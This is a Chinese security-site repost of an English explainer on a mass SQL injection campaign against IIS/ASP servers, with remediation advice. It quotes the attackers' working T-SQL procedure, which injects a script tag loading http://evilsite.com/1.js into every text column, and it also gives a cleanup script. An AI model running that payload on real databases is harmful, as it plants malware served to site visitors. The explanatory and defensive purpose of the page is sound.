外国的注入技巧收集

所属分类: 网络安全 / 黑客教程 阅读数: 2402
收藏 0 赞 0 分享
The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?
Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.
That said, the attackers are targeting IIS web servers which run ASP for a reason.
Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' @T '] set [' @C '] =
rtrim(convert(varchar,[' @C ']))
''<script src=http://evilsite.com/1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

This is the “secret sauce” which is allowing the attack to reach its impressive numbers, and it works exclusively against Microsoft database technology — but it’s a feature, not a bug (no irony intended this time). Anyway, the chances for such “powerful” DB technology of being used in conjunction with web servers different than IIS are very low.
So, to recap:
There’s no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well.
SQL injections, and therefore these infections, are caused by poor coding practices during web site development.
Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. Update: more details in this comment.
In my previous coverage of similar incidents I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn’t really grow enough security awareness to develop safe internet-facing applications.
What should I do if I’m the administrator of an infected site?
First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs.
In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it’s a merely temporary work-around — the solution is fixing the code (learn from the United Nations tale).
If you’ve got no clean database backup, you could try to recover by brutally reversing the SQL attack:

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' @T '] set [' @C '] = left(
convert(varchar(8000), [' @C ']),
len(convert(varchar(8000), [' @C '])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), [' @C '])))
)
where [' @C '] like ''%<script%</script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with

EXEC(
'update [' @T '] set [' @C '] =
rtrim(convert(varchar,[' @C ']))
''<script src=http://evilsite.com/1.js></script>'''
);

it locates and removes it with

EXEC(
'update [' @T '] set [' @C '] = left(
convert(varchar(8000), [' @C ']),
len(convert(varchar(8000), [' @C '])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), [' @C '])))
)
where [' @C '] like ''%<script%</script>'''
);

Notice that I’ve not tested my code above, and I’m just providing it as a courtesy: use it at your own risk, after doing a backup of your data.
Update: now it’s debugged and “tested” (i.e. it works) on SQL Server 2005 (thanks Scott), but the “use it at your own risk” disclaimer still applies.




更多精彩内容其他人还在看

必须了解的黑客入侵网站的十条原因及相应抵御方法

Internet Explorer、Firefox和Windows操作系统中包括许多可以被黑客运用的缝隙,特别是在用户常常不及时装置补丁的情况下。
收藏 0 赞 0 分享

如何有效的抵抗DDOS的方法介绍

DDOS的损害我这里就不说了,咱们可以经过批改注册表来减小DDOS对咱们的损伤.
收藏 0 赞 0 分享

中小网站如何对付拒绝服务攻击

 DoS(Denial of Service)是一种使用合理的效劳恳求占用过多的效劳资源,从而使合法用户无法得到效劳呼应的网络进犯行为。
收藏 0 赞 0 分享

黑客专家教你设计不易破解的密码以及注意事项

  美国一家密码管理应用提供商SplashData 公司近期总结出2012年度最差的25个密码,美国《纽约时报》作家尼克尔·佩尔荣斯近日撰文指出,密码要想不被黑客猜中,有几点非常重要的注意事项。
收藏 0 赞 0 分享

神秘的影子帐号揭秘

见名思义,帐号具有隐蔽性,不容易被发现(只是在一定程度上)。即一般的菜鸟发现不了
收藏 0 赞 0 分享

黑客基础知识 常用命令和快捷键大全

很多用户可能都知道在DOS模式下可以进行命令行的黑客命令操作,可总有用户不知道从哪里下手,看了下文您应该可以有一点启示
收藏 0 赞 0 分享

metasploit利用IE漏洞XSS挂马拿内网主机

metasploit内网渗透方面好多方式,这只是科普下xss在内网中的利用。
收藏 0 赞 0 分享

删除用户时提示无法在内置账户上运行此操作

一般情况写黑客在入侵服务器后都会添加新的用户或者和设置后门程序.如果大家在使用服务器的过程中发现,出现了不能删除的用且账号不能够正常删除提示无法在内置账号进行此操作。
收藏 0 赞 0 分享

教你使用搜索引擎批量检测网站注入点

以前很多新手朋友在通过查看网站是否存在注入点,的时候往往会通过搜索引擎批量检测。
收藏 0 赞 0 分享

使用搜索引擎搜索资料的方法

学习使用搜索引擎是电脑学习者必须掌握的一项技能,我们平时碰到的很多问题都可以在搜索引擎里面找到答案,比如我们要下载某个游戏,直接搜索那个游戏名字即可,非常的方便。下面,让我们一起来学习一下关于搜索引擎的使用方法。
收藏 0 赞 0 分享
查看更多